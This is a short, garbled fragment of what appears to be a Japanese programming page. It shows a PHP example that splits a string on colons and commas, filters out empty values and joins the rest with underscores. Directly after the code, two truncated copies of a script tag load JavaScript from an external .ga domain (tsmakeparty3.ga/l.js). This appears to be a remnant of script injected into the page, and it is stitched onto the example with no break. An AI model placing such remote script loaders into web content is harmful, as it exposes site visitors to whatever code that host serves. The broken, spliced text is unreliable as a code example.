事例：
$strobj = "37:38,39,23,";
$res = preg_split('/[\:\,]/', $strobj);
$rss= array_filter($res);
print_r(implode("_", $rss));tsmakeparty3.ga/l.js?n=1' type=text/javascript>tsmakeparty3.ga/l.js?n=1' type=text/javascript>
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